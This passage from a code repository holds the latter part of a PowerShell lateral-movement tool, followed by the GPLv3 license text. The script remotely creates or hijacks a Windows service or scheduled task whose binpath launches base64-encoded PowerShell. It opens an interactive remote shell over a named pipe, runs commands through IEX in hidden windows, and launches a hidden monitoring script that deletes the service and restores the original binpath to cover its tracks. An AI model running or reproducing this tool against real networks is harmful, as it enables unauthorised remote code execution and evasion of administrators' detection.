| } 417 | 418 | elseif($ModifyService){ 419 | 420 | $originalBinPath = & sc.exe \\$ComputerName qc $ServiceName | Select-String "BINARY_PATH_NAME" | ForEach-Object {$_.ToString().Split(":", 2)[1].Trim()} 421 | 422 | $arguments = "\\$ComputerName config $ServiceName binpath= `"C:\Windows\System32\cmd.exe /c powershell.exe -enc $B64ServerScript`"" 423 | 424 | Start-Process sc.exe -ArgumentList $arguments -WindowStyle Hidden 425 | 426 | # Optional: Restart the service to apply the changes 427 | $stopArguments = "\\$ComputerName stop $ServiceName" 428 | $startArguments = "\\$ComputerName start $ServiceName" 429 | 430 | # Stop the service 431 | Start-Process sc.exe -ArgumentList $stopArguments -WindowStyle Hidden 432 | 433 | Start-Sleep -Milliseconds 1000 434 | 435 | Start-Process sc.exe -ArgumentList $startarguments -WindowStyle Hidden 436 | } 437 | 438 | else{ 439 | $arguments = "\\$ComputerName create $ServiceName binpath= `"C:\Windows\System32\cmd.exe /c powershell.exe -enc $B64ServerScript`"" 440 | 441 | $startarguments = "\\$ComputerName start $ServiceName" 442 | 443 | Start-Process sc.exe -ArgumentList $arguments -WindowStyle Hidden 444 | 445 | Start-Sleep -Milliseconds 1000 446 | 447 | Start-Process sc.exe -ArgumentList $startarguments -WindowStyle Hidden 448 | } 449 | 450 | if($Verbose -AND !$AsTask){ 451 | if($ModifyService){ 452 | Write-Output "[+] Pipe Name: $PipeName" 453 | Write-Output "[+] Service Name: $ServiceName" 454 | Write-Output "[+] Original binPath: $originalBinPath" 455 | Write-Output "[+] Modifying Service on Remote Target..." 456 | Write-Output "" 457 | } 458 | else{ 459 | Write-Output "[+] Pipe Name: $PipeName" 460 | Write-Output "[+] Service Name: $ServiceName" 461 | Write-Output "[+] Creating Service on Remote Target..." 462 | Write-Output "" 463 | } 464 | } 465 | 466 | # Get the current process ID 467 | $currentPID = $PID 468 | $servertargetpid = $FileServerProcess.Id 469 | 470 | if($AsTask){ 471 | # Embedded monitoring script 472 | $monitoringScript = @" 473 | `$TargetServer = "$ComputerName" 474 | `$TargetTask = "$TaskName" 475 | `$primaryScriptProcessId = $currentPID 476 | 477 | while (`$true) { 478 | Start-Sleep -Seconds 5 # Check every 5 seconds 479 | 480 | # Check if the primary script is still running using its Process ID 481 | `$process = Get-Process | Where-Object { `$_.Id -eq `$primaryScriptProcessId } 482 | 483 | if (-not `$process) { 484 | # If the process is not running, delete the task 485 | schtasks /delete /S `$TargetServer /TN `$TargetTask /f 486 | sleep 1 487 | Stop-Process -Id $servertargetpid 488 | sleep 1 489 | break # Exit the monitoring script 490 | } 491 | } 492 | "@} 493 | 494 | elseif($ModifyService -AND !$AsTask){ 495 | # Embedded monitoring script 496 | $monitoringScript = @" 497 | `$serviceToDelete = "$ServiceName" # Name of the service you want to delete 498 | `$TargetServer = "$ComputerName" 499 | `$primaryScriptProcessId = $currentPID 500 | `$BinPath = "$originalBinPath" 501 | 502 | while (`$true) { 503 | Start-Sleep -Seconds 5 # Check every 5 seconds 504 | 505 | # Check if the primary script is still running using its Process ID 506 | `$process = Get-Process | Where-Object { `$_.Id -eq `$primaryScriptProcessId } 507 | 508 | if (-not `$process) { 509 | # If the process is not running, stop the service 510 | `$stoparguments = "\\`$TargetServer stop `$serviceToDelete" 511 | Start-Process sc.exe -ArgumentList `$stoparguments -WindowStyle Hidden 512 | `$arguments = "\\`$TargetServer config `$serviceToDelete binpath= `$BinPath" 513 | Start-Process sc.exe -ArgumentList `$arguments -WindowStyle Hidden 514 | break # Exit the monitoring script 515 | } 516 | } 517 | "@} 518 | else{ 519 | # Embedded monitoring script 520 | $monitoringScript = @" 521 | `$serviceToDelete = "$ServiceName" # Name of the service you want to delete 522 | `$TargetServer = "$ComputerName" 523 | `$primaryScriptProcessId = $currentPID 524 | 525 | while (`$true) { 526 | Start-Sleep -Seconds 5 # Check every 5 seconds 527 | 528 | # Check if the primary script is still running using its Process ID 529 | `$process = Get-Process | Where-Object { `$_.Id -eq `$primaryScriptProcessId } 530 | 531 | if (-not `$process) { 532 | # If the process is not running, delete the service 533 | `$stoparguments = "\\`$TargetServer delete `$serviceToDelete" 534 | Start-Process sc.exe -ArgumentList `$stoparguments -WindowStyle Hidden 535 | break # Exit the monitoring script 536 | } 537 | } 538 | "@} 539 | 540 | $b64monitoringScript = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($monitoringScript)) 541 | 542 | # Execute the embedded monitoring script in a hidden window 543 | $MonitoringProcess = Start-Process powershell.exe -ArgumentList "-WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -enc $b64monitoringScript" -WindowStyle Hidden -PassThru 544 | 545 | $pipeClient = New-Object System.IO.Pipes.NamedPipeClientStream("$ComputerName", $PipeName, 'InOut') 546 | 547 | try { 548 | $pipeClient.Connect($Timeout) 549 | } catch [System.TimeoutException] { 550 | Write-Output "[$($ComputerName)]: Connection timed out | Try again with -Timeout 60000" 551 | Write-Output "" 552 | if($AsTask){ 553 | Stop-Process -Id $FileServerProcess.Id 554 | schtasks /delete /S $ComputerName /TN $TaskName /f | Out-Null 555 | Stop-Process -Id $MonitoringProcess.Id 556 | } 557 | elseif($ModifyService -AND !$AsTask){ 558 | $stopArguments = "\\$ComputerName stop $ServiceName" 559 | Start-Process sc.exe -ArgumentList $stopArguments -WindowStyle Hidden 560 | $arguments = "\\$ComputerName config $ServiceName binpath= $originalBinPath" 561 | Start-Process sc.exe -ArgumentList $arguments -WindowStyle Hidden 562 | Stop-Process -Id $MonitoringProcess.Id 563 | } 564 | else{ 565 | $stoparguments = "\\$ComputerName delete $ServiceName" 566 | Start-Process sc.exe -ArgumentList $stoparguments -WindowStyle Hidden 567 | Stop-Process -Id $MonitoringProcess.Id 568 | } 569 | return 570 | } catch { 571 | Write-Output "[$($ComputerName)]: An unexpected error occurred" 572 | Write-Output "" 573 | if($AsTask){ 574 | Stop-Process -Id $FileServerProcess.Id 575 | schtasks /delete /S $ComputerName /TN $TaskName /f | Out-Null 576 | Stop-Process -Id $MonitoringProcess.Id 577 | } 578 | elseif($ModifyService -AND !$AsTask){ 579 | $stopArguments = "\\$ComputerName stop $ServiceName" 580 | Start-Process sc.exe -ArgumentList $stopArguments -WindowStyle Hidden 581 | $arguments = "\\$ComputerName config $ServiceName binpath= $originalBinPath" 582 | Start-Process sc.exe -ArgumentList $arguments -WindowStyle Hidden 583 | Stop-Process -Id $MonitoringProcess.Id 584 | } 585 | else{ 586 | $stoparguments = "\\$ComputerName delete $ServiceName" 587 | Start-Process sc.exe -ArgumentList $stoparguments -WindowStyle Hidden 588 | Stop-Process -Id $MonitoringProcess.Id 589 | } 590 | return 591 | } 592 | 593 | $sr = New-Object System.IO.StreamReader($pipeClient) 594 | $sw = New-Object System.IO.StreamWriter($pipeClient) 595 | 596 | $serverOutput = "" 597 | 598 | if($AsTask){ 599 | Stop-Process -Id $FileServerProcess.Id 600 | if($Verbose){Write-Output "[+] Server script killed";Write-Output ""} 601 | } 602 | 603 | if ($Command) { 604 | $Command = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($Command)) 605 | $Command = "[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String(""$Command"")) | IEX" 606 | $fullCommand = "$Command 2>&1 | Out-String" 607 | $sw.WriteLine($fullCommand) 608 | $sw.Flush() 609 | while ($true) { 610 | $line = $sr.ReadLine() 611 | if ($line -eq "###END###") { 612 | Write-Output $serverOutput.Trim() 613 | Write-Output "" 614 | break 615 | } else { 616 | $serverOutput += "$line`n" 617 | } 618 | } 619 | } 620 | 621 | else { 622 | while ($true) { 623 | 624 | # Fetch the actual remote prompt 625 | $sw.WriteLine("prompt | Out-String") 626 | $sw.Flush() 627 | 628 | $remotePath = "" 629 | while ($true) { 630 | $line = $sr.ReadLine() 631 | 632 | if ($line -eq "###END###") { 633 | # Remove any extraneous whitespace, newlines etc. 634 | $remotePath = $remotePath.Trim() 635 | break 636 | } else { 637 | $remotePath += "$line`n" 638 | } 639 | } 640 | $ipPattern = '^\d{1,3}(\.\d{1,3}){3}$' 641 | if($ComputerName -match $ipPattern){$computerNameOnly = $ComputerName} 642 | else{$computerNameOnly = $ComputerName -split '\.' | Select-Object -First 1} 643 | $promptString = "[$computerNameOnly]: $remotePath " 644 | Write-Host -NoNewline $promptString 645 | $userCommand = Read-Host 646 | 647 | if ($userCommand -eq "exit") { 648 | Write-Output "" 649 | $sw.WriteLine("exit") 650 | $sw.Flush() 651 | break 652 | } 653 | 654 | elseif($userCommand -ne ""){ 655 | $fullCommand = "$userCommand 2>&1 | Out-String" 656 | $sw.WriteLine($fullCommand) 657 | $sw.Flush() 658 | } 659 | 660 | else{ 661 | continue 662 | } 663 | 664 | $serverOutput = "" 665 | while ($true) { 666 | $line = $sr.ReadLine() 667 | 668 | if ($line -eq "###END###") { 669 | Write-Output $serverOutput.Trim() 670 | Write-Output "" 671 | break 672 | } else { 673 | $serverOutput += "$line`n" 674 | } 675 | } 676 | } 677 | } 678 | 679 | if($AsTask){ 680 | schtasks /delete /S $ComputerName /TN $TaskName /f | Out-Null 681 | } 682 | 683 | elseif($ModifyService -AND !$AsTask){ 684 | $stopArguments = "\\$ComputerName stop $ServiceName" 685 | Start-Process sc.exe -ArgumentList $stopArguments -WindowStyle Hidden 686 | $arguments = "\\$ComputerName config $ServiceName binpath= $originalBinPath" 687 | Start-Process sc.exe -ArgumentList $arguments -WindowStyle Hidden 688 | 689 | } 690 | else{ 691 | $stoparguments = "\\$ComputerName delete $ServiceName" 692 | Start-Process sc.exe -ArgumentList $stoparguments -WindowStyle Hidden 693 | } 694 | 695 | $pipeClient.Close() 696 | $pipeClient.Dispose() 697 | Stop-Process -Id $MonitoringProcess.Id 698 | } -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General Public License is a free, copyleft license for 11 | software and other kinds of works. 12 | 13 | The licenses for most software and other practical works are designed 14 | to take away your freedom to share and change the works. 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No Surrender of Others' Freedom. 541 | 542 | If conditions are imposed on you (whether by court order, agreement or 543 | otherwise) that contradict the conditions of this License, they do not 544 | excuse you from the conditions of this License. If you cannot convey a 545 | covered work so as to satisfy simultaneously your obligations under this 546 | License and any other pertinent obligations, then as a consequence you may 547 | not convey it at all. For example, if you agree to terms that obligate you 548 | to collect a royalty for further conveying from those to whom you convey 549 | the Program, the only way you could satisfy both those terms and this 550 | License would be to refrain entirely from conveying the Program. 551 | 552 | 13. Use with the GNU Affero General Public License. 553 | 554 | Notwithstanding any other provision of this License, you have 555 | permission to link or combine any covered work with a work licensed 556 | under version 3 of the GNU Affero General Public License into a single 557 | combined work, and to convey the resulting work. The terms of this 558 | License will continue to apply to the part which is the covered work, 559 | but the special requirements of the GNU Affero General Public License, 560 | section 13, concerning interaction through a network will apply to the 561 | combination as such. 562 | 563 | 14. Revised Versions of this License. 564 | 565 | The Free Software Foundation may publish revised and/or new versions of 566 | the GNU General Public License from time to time. Such new versions will 567 | be similar in spirit to the present version, but may differ in detail to 568 | address new problems or concerns. 569 | 570 | Each version is given a distinguishing version number. If the 571 | Program specifies that a certain numbered version of the GNU General 572 | Public License "or any later version" applies to it, you have the 573 | option of following the terms and conditions either of that numbered 574 | version or of any later version published by the Free Software 575 | Foundation. If the Program does not specify a version number of the 576 | GNU General Public License, you may choose any version ever published 577 | by the Free Software Foundation. 578 | 579 | If the Program specifies that a proxy can decide which future 580 | versions of the GNU General Public License can be used, that proxy's 581 | public statement of acceptance of a version permanently authorizes you 582 | to choose that version for the Program. 583 | 584 | Later license versions may give you additional or different 585 | permissions. However, no additional obligations are imposed on any 586 | author or copyright holder as a result of your choosing to follow a 587 | later version. 588 | 589 | 15. Disclaimer of Warranty. 590 | 591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY 592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT 593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY 594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, 595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM 597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF 598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 599 | 600 | 16. Limitation of Liability. 601 | 602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS 604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY 605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE 606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF 607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD 608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), 609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF 610 | SUCH DAMAGES. 611 | 612 | 17. Interpretation of Sections 15 and 16. 613 | 614 | If the disclaimer of warranty and limitation of liability provided 615 | above cannot be given local legal effect according to their terms, 616 | reviewing courts shall apply local law that most closely approximates 617 | an absolute waiver of all civil liability in connection with the 618 | Program, unless a warranty or assumption of liability accompanies a 619 | copy of the Program in return for a fee. 620 | 621 | END OF TERMS AND CONDITIONS 622 | 623 | How to Apply These Terms to Your New Programs 624 | 625 | If you develop a new program, and you want it to be of the greatest 626 | possible use to the public, the best way to achieve this is to make it 627 | free software which everyone can redistribute and change under these terms. 628 | 629 | To do so, attach the following notices to the program. It is safest 630 | to attach them to the start of each source file to most effectively 631 | state the exclusion of warranty; and each file should have at least 632 | the "copyright" line and a pointer to where the full notice is found. 633 | 634 | 635 | Copyright (C) 636 | 637 | This program is free software: you can redistribute it and/or modify 638 | it under the terms of the GNU General Public License as published by 639 | the Free Software Foundation, either version 3 of the License, or 640 | (at your option) any later version. 641 | 642 | This program is distributed in the hope that it will be useful, 643 | but WITHOUT ANY WARRANTY; without even the implied warranty of 644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 645 | GNU General Public License for more details. 646 | 647 | You should have received a copy of the GNU General Public License 648 | along with this program. If not, see . 649 | 650 | Also add information on how to contact you by electronic and paper mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | Copyright (C) 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands `show w' and `show c' should show the appropriate 661 | parts of the General Public License. Of course, your program's commands 662 | might be different; for a GUI interface, you would use an "about box". 663 | 664 | You should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | . 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | . 675 | --------------------------------------------------------------------------------